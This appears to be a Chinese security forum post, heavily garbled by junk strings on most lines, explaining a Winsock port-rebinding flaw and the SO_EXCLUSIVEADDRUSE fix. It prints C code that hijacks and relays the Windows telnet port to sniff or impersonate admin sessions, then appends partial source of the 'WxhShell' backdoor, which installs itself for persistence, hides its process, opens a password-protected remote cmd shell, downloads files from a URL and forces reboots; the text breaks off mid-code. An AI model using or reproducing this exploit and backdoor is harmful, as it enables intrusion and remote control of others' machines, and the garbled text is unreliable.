在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
H[2W(q6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
H;{IOBo IN7Cpg~9% saddr.sin_family = AF_INET;
4@r76v}{ #Oi{7~ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4t,f$zk _qa9wK/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Z;~ 7L*| S\L^ZH?[2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H/}W_ h^^ bJoP@s 这意味着什么?意味着可以进行如下的攻击:
+$$5Cv5#<& &lnM
1W 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$O_{cSKg7 ftxy]NLF 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9";qR, 21[=xboU 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7sq15oL z-N
N(G+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>!MRk[@
V- xSrjN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7:e5l19 uI Y_nl9}&+C0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
GB4^ 4Ajx B&m6N, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
. ZP$, lk.Mc6) #include
bT15jNa #include
r;_*.|AH #include
GBY{O2!3u #include
w8cbhc DWORD WINAPI ClientThread(LPVOID lpParam);
089v;
d 6 int main()
mO2u9?N {
_%G;^ b WORD wVersionRequested;
~S\8 ' DWORD ret;
5a&BgBO1M WSADATA wsaData;
zl<D"eP BOOL val;
<:4b4Nl SOCKADDR_IN saddr;
SZvp%hS0 SOCKADDR_IN scaddr;
ipyc(u6Z5 int err;
L)c]i'WZ SOCKET s;
a66Ns7Rb SOCKET sc;
(_]D\g~ int caddsize;
f4Ob4ah!( HANDLE mt;
%UlgG1?A DWORD tid;
rvuasr~ wVersionRequested = MAKEWORD( 2, 2 );
=q}Z2 OoYh err = WSAStartup( wVersionRequested, &wsaData );
HCT+.n6 if ( err != 0 ) {
u#UtPF7q printf("error!WSAStartup failed!\n");
.uSVZqJ7 return -1;
_rg*K }
?[;>1+D saddr.sin_family = AF_INET;
De2$:? w=FU:q/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^l<!:SS k}C4:?AT saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
WO6R04+WV saddr.sin_port = htons(23);
$[oRbH8g if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Pkv+^[(4 {
a4n5i.; printf("error!socket failed!\n");
Ibg~.>.u{ return -1;
'61>.u:2 }
"U/yq val = TRUE;
Nw{Cu+AwG //SO_REUSEADDR选项就是可以实现端口重绑定的
iJ`zWpj+{Q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$,B;\PX {
q07H{{h/B printf("error!setsockopt failed!\n");
i*r ag0Mw return -1;
Z*Rgik }
N:;z~` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.03Rp5+v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
tUt_Q;%yC //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
p3>Md?e D#A6s32a if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Y]7 6y>|e {
bFSs{\zE ret=GetLastError();
(3~^zwA printf("error!bind failed!\n");
ICiGZ'k return -1;
I4KE@H"%7 }
aW}d=y[ listen(s,2);
@_wJN Qo` while(1)
s
bd$.6
|& {
E 02Y,C caddsize = sizeof(scaddr);
[^W
+^3V //接受连接请求
'uF75C sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
B<ue}t if(sc!=INVALID_SOCKET)
> `mV^QD {
%=$Knc_!T^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
yy+:x/(N[ if(mt==NULL)
&*745,e {
o=6 <?v7 printf("Thread Creat Failed!\n");
q\-P/aN_ break;
F]fXS-@ c }
z,bK.KFSs }
ym+Ezb#o CloseHandle(mt);
j#xGB] }
"dT"6, closesocket(s);
10)RLh|+ WSACleanup();
{T-^xwc return 0;
1 e]D=2y }
Z;,G:@, DWORD WINAPI ClientThread(LPVOID lpParam)
hxMV?\MYj {
|>OBpb SOCKET ss = (SOCKET)lpParam;
x4(8
=&Z SOCKET sc;
t fD7!N{ unsigned char buf[4096];
v^)B[e! SOCKADDR_IN saddr;
x6^Y&,y9kU long num;
@AM11v\: DWORD val;
e)N<r DWORD ret;
+z:>Nl //如果是隐藏端口应用的话,可以在此处加一些判断
/4N ?v. jf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+prUau* saddr.sin_family = AF_INET;
ns*:mGh saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#SG.`J<% saddr.sin_port = htons(23);
dS\!tdHP-Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-2(?O`tZ {
IMBjI#\ printf("error!socket failed!\n");
-+M360 return -1;
o)>iHzR</ }
i"xV=. val = 100;
,FXc_BCx4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!zvOCAb, {
K|l}+:k ret = GetLastError();
*[m:4\ return -1;
_]- 4UA- }
I9Uj3cL\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G&@dJ &B {
QBG jH^kL ret = GetLastError();
I ~^Xw7 return -1;
!XM<`H/ }
!v(^wqna\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(
mn:!3H% {
00{a}@n printf("error!socket connect failed!\n");
B:Ft(, closesocket(sc);
a
9{:ot8, closesocket(ss);
1)jeawVmj return -1;
1uppE| }
i]J.WFu while(1)
_RbM'_y+E {
>{9VXSc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
J@"UFL'^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
,RM8D)m\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\I-e{'h num = recv(ss,buf,4096,0);
#p7gg61 if(num>0)
QqRF?%7q"q send(sc,buf,num,0);
cTS.yN({G else if(num==0)
\#WWJh"W break;
jvAjnh# num = recv(sc,buf,4096,0);
;]b4O4C\ if(num>0)
TLp2a<Iy send(ss,buf,num,0);
a
DXaQ else if(num==0)
O!^ >YvOh break;
@}:E{J#g }
?qi~8.<w closesocket(ss);
K~2sX>l closesocket(sc);
j*[P\Cm return 0 ;
v+[S${ }
!>D[Y c9o]w8p/ \uZ|2WG` ==========================================================
^,mN-.W =[&+R9s 下边附上一个代码,,WXhSHELL
M nZljB o ABrhK ==========================================================
_)~1'tCs}h qp/1tC` #include "stdafx.h"
[f!
{
-T bJ2>@|3* #include <stdio.h>
Shn=Q #include <string.h>
MG~Z)+g=y #include <windows.h>
a!/\:4-uc #include <winsock2.h>
X 6tJ #include <winsvc.h>
;6D3>Lm #include <urlmon.h>
p5tb=Zg_ (QL:7 #pragma comment (lib, "Ws2_32.lib")
S9]I[4 #pragma comment (lib, "urlmon.lib")
~]QQaP L\UGC%]9 #define MAX_USER 100 // 最大客户端连接数
"]kzt ux #define BUF_SOCK 200 // sock buffer
4}k@p>5v' #define KEY_BUFF 255 // 输入 buffer
!02y'JS1 hc[J,yG #define REBOOT 0 // 重启
'|Bk}pl7 #define SHUTDOWN 1 // 关机
:Yn.Wv- 6i~|<vcSP #define DEF_PORT 5000 // 监听端口
W] DGt|JP ygH )U. #define REG_LEN 16 // 注册表键长度
/}
z9( #define SVC_LEN 80 // NT服务名长度
s]OZ+^Z rks"y&&Nc // 从dll定义API
(H&HSs typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4x(m.u@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
z-b78A/8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8a`3eM~?[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
RXg\A!5GV |aAyWK S // wxhshell配置信息
&M<"Fmn struct WSCFG {
TWGn:mi int ws_port; // 监听端口
j6RV{Lkr_ char ws_passstr[REG_LEN]; // 口令
+_$s9`@]6 int ws_autoins; // 安装标记, 1=yes 0=no
VevG 64o char ws_regname[REG_LEN]; // 注册表键名
K-)!d$$
char ws_svcname[REG_LEN]; // 服务名
D_0sXIbg char ws_svcdisp[SVC_LEN]; // 服务显示名
HcJ!( char ws_svcdesc[SVC_LEN]; // 服务描述信息
o$l8"Uv char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=0]K(p, int ws_downexe; // 下载执行标记, 1=yes 0=no
y6tqemz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yP"}(!~m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|;xEKnF JbL3/h] };
Dy,MQIM|! 8s2y!pn7Q // default Wxhshell configuration
U5wh( vi struct WSCFG wscfg={DEF_PORT,
Zi+F IQ( "xuhuanlingzhe",
Gf3-%s xA 1,
:wXiz`VH "Wxhshell",
#::+# G "Wxhshell",
6H:
fg "WxhShell Service",
,b - "Wrsky Windows CmdShell Service",
Anu: "Please Input Your Password: ",
BYMdX J 1,
*#b
e "
http://www.wrsky.com/wxhshell.exe",
@vyEN.K%mm "Wxhshell.exe"
8 yi#] 5`Q };
dm[cl~[
Q b@8z+,_ // 消息定义模块
7yT/t1) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`ovMfL.u char *msg_ws_prompt="\n\r? for help\n\r#>";
KJ32L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Q"D char *msg_ws_ext="\n\rExit.";
j0~am,yZ char *msg_ws_end="\n\rQuit.";
jT$J~MpHh char *msg_ws_boot="\n\rReboot...";
6xtgnl#T char *msg_ws_poff="\n\rShutdown...";
uA[
: char *msg_ws_down="\n\rSave to ";
TP {\V>*Yz CEkUXsp char *msg_ws_err="\n\rErr!";
bRyxP2 char *msg_ws_ok="\n\rOK!";
ym%` l! 1E
/G+pm char ExeFile[MAX_PATH];
qpjZ-[UC int nUser = 0;
Um\HX6 HANDLE handles[MAX_USER];
.=Oww int OsIsNt;
A03io8D6 GvG8s6IZ SERVICE_STATUS serviceStatus;
L~{(9J'( SERVICE_STATUS_HANDLE hServiceStatusHandle;
MXfyj5K @(35I // 函数声明
r>ed/<_>m; int Install(void);
9v`sSTlSd int Uninstall(void);
<(@S;?ZEW int DownloadFile(char *sURL, SOCKET wsh);
8Cp@k= int Boot(int flag);
Z\`SDC void HideProc(void);
|yO%w # int GetOsVer(void);
>I5Wf/$ int Wxhshell(SOCKET wsl);
VnkhY void TalkWithClient(void *cs);
?xH{7)dO int CmdShell(SOCKET sock);
wU!-sf;]y int StartFromService(void);
BXU0f%"8U int StartWxhshell(LPSTR lpCmdLine);
0+op|bdj n@ba>m4{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
G!sfp}qW VOID WINAPI NTServiceHandler( DWORD fdwControl );
,LxZbo! D
C/X|f // 数据结构和表定义
hvO$ f.i SERVICE_TABLE_ENTRY DispatchTable[] =
]58~b%s {
Cy uRj[;B {wscfg.ws_svcname, NTServiceMain},
aY?VP?BL {NULL, NULL}
%n9ukc~$p };
"GZ}+K*GG %V]v, // 自我安装
:{)uD
; int Install(void)
zEO~mJzo {
hx&fV#m char svExeFile[MAX_PATH];
6>#8^{[ HKEY key;
FWW@t1) strcpy(svExeFile,ExeFile);
h7fytO
rn(
drG // 如果是win9x系统,修改注册表设为自启动
Z]Udx if(!OsIsNt) {
PVF:p7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ZT*}KJm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
DFQ`(1Q RegCloseKey(key);
S@3`H8 [ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
TO5y.M|7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CSoVB[vS RegCloseKey(key);
Gr&e]M[ l return 0;
z(Uz<*h8 }
u;H^4}
OQ }
.wq
j }
2>^(&95M else {
U4-RI]Cpf @0PWbs$ // 如果是NT以上系统,安装为系统服务
0_ST2I"Ln SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"@^<~bw if (schSCManager!=0)
5<`83;R9 {
/v<Gt%3X SC_HANDLE schService = CreateService
BaI-ve (
uwI"V|g%a& schSCManager,
$rk=#;6]v; wscfg.ws_svcname,
cSB_b.@"1 wscfg.ws_svcdisp,
+{=U!}3| SERVICE_ALL_ACCESS,
^pu8\K;~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
l3^'b p6HQ SERVICE_AUTO_START,
0iM'),v[] SERVICE_ERROR_NORMAL,
^
op0"
#B svExeFile,
HU/4K7e` NULL,
&L?]w=* NULL,
eP:\\;
; NULL,
q1L>nvE NULL,
$Bc3| `K1v NULL
V >eG\ );
> O?<? if (schService!=0)
.YvIVQ {
5655)u.N8 CloseServiceHandle(schService);
XX90Is CloseServiceHandle(schSCManager);
X,G"#j^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^4,LIIUj strcat(svExeFile,wscfg.ws_svcname);
!mqIq}h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
X=f %! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
XY6Sm{ RegCloseKey(key);
XSN=0N!GB return 0;
S2|pn\0V }
h {J io> }
$Lbamg->E CloseServiceHandle(schSCManager);
C:sgT6 }
N.Q}.(N0 }
seAPVzWUU <w*WL_P return 1;
T zS?WYF }
,d lq2 i9qIaG/ // 自我卸载
l44QB8
9 int Uninstall(void)
6A=k;do {
xH`
VX-X3 HKEY key;
gzvgXZ1q" 1'p=yHw if(!OsIsNt) {
LcA7f'GVK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<6;@@ RegDeleteValue(key,wscfg.ws_regname);
>0iCQKq RegCloseKey(key);
#b)`as?!1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|N6.:K[` RegDeleteValue(key,wscfg.ws_regname);
K%
snE7X?) RegCloseKey(key);
LDU4 D return 0;
bFL2NH5 }
=(\BM')l }
M6A0D+08 }
tmBt[ else {
kd"nBb= F/LMk8RgR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
G `3{Q7k if (schSCManager!=0)
{0a\<l {
Vh=U/{Rp1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ylu\]pr9|C if (schService!=0)
8BZ&-j{ {
<2<2[F5Q% if(DeleteService(schService)!=0) {
ojm IEzsz CloseServiceHandle(schService);
`Xeiz'~f8 CloseServiceHandle(schSCManager);
T4}Wg=UKg return 0;
jy>?+hm? }
,UVu.RjXN CloseServiceHandle(schService);
aqK+ u.H }
P4{~fh ( CloseServiceHandle(schSCManager);
+hispU3ia }
:/$_eg0A }
o+XQMg `x >6Wk1 return 1;
n`w]? bL }
&\cS{35 YjL'GmL< // 从指定url下载文件
bd%<
Jg+ int DownloadFile(char *sURL, SOCKET wsh)
a-FI`Dv {
tq'ri-c&b HRESULT hr;
-L6CEe char seps[]= "/";
Eld[z{n" char *token;
dcq18~ char *file;
;P;c!}:\b char myURL[MAX_PATH];
[ "3s char myFILE[MAX_PATH];
L{r 4hL [
CDuA2e strcpy(myURL,sURL);
*pnaj\ token=strtok(myURL,seps);
Uzrf,I[ while(token!=NULL)
6=,zkU*i^ {
-$g~,dIwj file=token;
n=$ne2/ token=strtok(NULL,seps);
),Yk53G6c }
(=c,b9cb b$*2bSdv0< GetCurrentDirectory(MAX_PATH,myFILE);
Qmo}esb'( strcat(myFILE, "\\");
d2gYBqag strcat(myFILE, file);
rMjb,2*rC7 send(wsh,myFILE,strlen(myFILE),0);
HYT~AO-! send(wsh,"...",3,0);
j%bC9UkE3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=6=:OId if(hr==S_OK)
!=*8*?@ return 0;
-Hw3rv3o else
gdqBT]j return 1;
]yqE6Lf9 ^=5y; }
:WQlpLn ,~1k:>njY~ // 系统电源模块
> cWE@P int Boot(int flag)
]e"!ZR?XJ {
,!%E\` HANDLE hToken;
cqs.[0 z#B TOKEN_PRIVILEGES tkp;
7
wEv`5 puWMgvv if(OsIsNt) {
TKGaGMx6@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'yA/sZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
^^B_z|;Aa tkp.PrivilegeCount = 1;
Y[R>?w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OyK#Rm2A= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
eu_ZsseZ if(flag==REBOOT) {
C%]qK(9vvd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
#s\kF * return 0;
SRk!HuXh }
4~FRE)8 else {
$2i@@#g8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
L'aB/5_% return 0;
hp9LV2_5 }
7(tsmP }
.{`C>/"} else {
5%fWX'mS if(flag==REBOOT) {
_JNYvngm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z;<~j=lP return 0;
Pz:,de~5Qm }
lfC]!=2%~8 else {
?(K=du if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
y6[ le*T return 0;
]plp.f#av }
Ab j7 }
tQNrDp+ C3f\E: D) return 1;
6hYz^}2g }
Xa?igbgAwx em0Y' J // win9x进程隐藏模块
kAPSVTH$v void HideProc(void)
?{`7W>G {
A]i!131{w| uSQ#Y^V_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
' F9gp!s8~ if ( hKernel != NULL )
&<uLr
*+* {
+YW;63"o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`#`jU"T | ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X~"p]V_ FreeLibrary(hKernel);
c6c@XdV }
o}/|"(K Ma$~B0!;s return;
l*&N<Yu }
S1y6G/e9 N_iy4W(NU // 获取操作系统版本
5<v1v& int GetOsVer(void)
^5TVm>F@3 {
q
jc4IW t~ OSVERSIONINFO winfo;
Cfd* Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
$m*Gu:#xm& GetVersionEx(&winfo);
GCO: !,1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`<>QKpAn return 1;
kI@<H< else
IHd
W!q return 0;
"P(obk }
rEj[XK )qbkKCq/FB // 客户端句柄模块
~v pIy - int Wxhshell(SOCKET wsl)
(Ll'j0]k> {
@,k5T51m SOCKET wsh;
b$#b+G{y struct sockaddr_in client;
we^'R}d DWORD myID;
5BXku=M J9]cs?`) while(nUser<MAX_USER)
<anKw| {
"H`Be int nSize=sizeof(client);
Z10}xqi!X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*DfOm`m if(wsh==INVALID_SOCKET) return 1;
>JS^yVk -XV+F@`Md handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
C&vi7Yx if(handles[nUser]==0)
8Ala31 closesocket(wsh);
@$%GszyQ' else
y<Xu65 nUser++;
[
fzYC'A= }
bl^Ihza WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.yXqa"p -q{N1?tcy return 0;
g:JSy }
L98T!5) SKnYeT // 关闭 socket
JRFUNy1+e1 void CloseIt(SOCKET wsh)
ws!~MSIy {
+8N6tw/& closesocket(wsh);
!^su=c nUser--;
=VuSi(d;e{ ExitThread(0);
p5or"tK }
H#;*kc
a4 GK'p$`oJm // 客户端请求句柄
LPJ7V`!k void TalkWithClient(void *cs)
b=:u d[h {
FV
"pJ 4FRi=d;mP SOCKET wsh=(SOCKET)cs;
~,1Sw7rE char pwd[SVC_LEN];
-X$EE$: char cmd[KEY_BUFF];
wxh\CBxG char chr[1];
QtKcv7:4 int i,j;
x$BNFb%I1 @g5y_G{SP while (nUser < MAX_USER) {
]&Y^ 5{V"!M+< if(wscfg.ws_passstr) {
;j1E 6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`<se&IZE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KU` *LB: //ZeroMemory(pwd,KEY_BUFF);
SU~.baP? i=0;
~i%=1&K&` while(i<SVC_LEN) {
QWfSm^
t <O'U-.
Gc // 设置超时
>rEZ$h fd_set FdRead;
naf ~#==vc struct timeval TimeOut;
ySO\9#Ho FD_ZERO(&FdRead);
9c)#j&2?H FD_SET(wsh,&FdRead);
;Hk3y+&]a TimeOut.tv_sec=8;
(wZ!OLY%} TimeOut.tv_usec=0;
qovsM M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<YFDS;b| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
U0j>u*yE JXU?'@QY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
YWH>tt9 pwd
=chr[0]; =+j3E<w
if(chr[0]==0xd || chr[0]==0xa) { ;HXk'xN
pwd=0; 0!dNW,NfJ
break; o6O-\d7^M
} k"i3$^v8
i++; BM /FOY;
} 8Zsaq1S
<5z!0m-G
// 如果是非法用户,关闭 socket CipDeqau2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^*.$@M
} 23^>#b7st
U; oXX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "E2 0Y"[h
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q+
V<&
u)r/#fUZ
while(1) { 4joE"H6
@s-P!uCaT
ZeroMemory(cmd,KEY_BUFF); .i4aM;Qy
zT,@PIC(
// 自动支持客户端 telnet标准 WC~;t4
j=0; OmWEa
while(j<KEY_BUFF) { f't.?M
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ekyCZ8iai
cmd[j]=chr[0]; 15j5F5P
if(chr[0]==0xa || chr[0]==0xd) { C][hH?.
cmd[j]=0; L4/ns@e
break; n~yKq"^
} $"/l*H\h
j++; KUZi3\p9W>
} wCLniCt
I8J>>H'#A
// 下载文件 H;nzo3x
if(strstr(cmd,"http://")) { Zwc&4:5%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?; W"=I*3
if(DownloadFile(cmd,wsh)) ~3:hed7:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YTefEG]|q
else # `E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cb{D[
} m6e(Xk,)
else { :P_h_Tizv
Ln,<|,fZN
switch(cmd[0]) { X^eyrqv
Ljz)%y[s
// 帮助 2T2<I/")O
case '?': { G^)]FwTs
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (v/L
break; ,Lp"Ia
} }VJ>}i*
// 安装 ,g7O
case 'i': { (]'wQ4iQ
if(Install()) tB>!1}v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z]8Mv(eL
else s|<n7 =J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q;3`T7
break; )m7%cyfC
} x!GDS>
// 卸载 g3kbsi7_:
case 'r': { Gpxp8[ {
if(Uninstall()) Q"FN"uQ}x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ivo><"Y(r
else M8WjqTq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RG45S0Ygj
break; 1w7tRw
} }kmAUaa,Z
// 显示 wxhshell 所在路径 cF15Mm2
case 'p': { 7/<~s]D[%
char svExeFile[MAX_PATH]; TzaeE
strcpy(svExeFile,"\n\r"); p+=zl`\=|
strcat(svExeFile,ExeFile); k(H]ILL
send(wsh,svExeFile,strlen(svExeFile),0); md{nHX&
break; K@1gK<,a
} ?pEPwc
// 重启 e5bXgmyil
case 'b': { g]&fyB#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5"nq
h}5
if(Boot(REBOOT)) vOlfyH>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4utwcXL
else { m=9b/Nr4
closesocket(wsh); RM_%u=jC
ExitThread(0); *]yrN`
} ?+hEs =Xs
break; |k6+-
1~_
} N/0aO^"V
// 关机 :} =lE"2
case 'd': { [ x{$f7CEh
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SV t~pE+Y
if(Boot(SHUTDOWN)) 1<m`38'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L-?ty@-i
else { x*z[(0g!
closesocket(wsh); Jt]RU+TB
ExitThread(0); Q|o$^D,
} :&
Dv!z
break; N@PwC(
} ir.RO7f
// 获取shell 0a:oC(Ak
case 's': { `:3nF'
CmdShell(wsh); "G>d8GbIh
closesocket(wsh); {ax]t-ZwJ5
ExitThread(0); r*b+kSh
break; 9RlJf=Z#H
} afX|R
// 退出 O
MQ?*^eA
case 'x': { ~`BkCTT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ich^*z(F$
CloseIt(wsh); P,] ./m\J
break; &Pme4IHtm
} ~vDa2D<9%
// 离开 5?H8?~&dz
case 'q': { z#&1>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9cB+x`+Lu
closesocket(wsh); P.Bwfa
WSACleanup(); Ld.9.d]
exit(1); nQV0I"f]?]
break; Vc5>I_
} ^*f D
} 'v<v6vs
} tUH?N/qn
T=YVG@fm?
// 提示信息 '9u?lA^9$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _(g0$vRP~
} ~-vCY
} AmIW$(Ce
E'4Psx9: =
return; 4#>Z.sf
} Q SF0?Puf
rtAPkXJFM
// shell模块句柄 >(P(!^[f
int CmdShell(SOCKET sock) ~3M4F^
{ z0LspRaz
STARTUPINFO si; vW eg1
ZeroMemory(&si,sizeof(si)); =cV|o]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z4Q]By:/L
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O'(Us!aq
PROCESS_INFORMATION ProcessInfo; ( gg )?
char cmdline[]="cmd"; AJB
NM
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sm'_0EUg
return 0; j=T8b
} _ab8z]H
iw MxTty
// 自身启动模式 A'`F Rx(
int StartFromService(void) =| T ^)J
{ mOj; 0 R
typedef struct
tgG
8pL
{ )e5=<'f1
DWORD ExitStatus; nG4ZOx.*1g
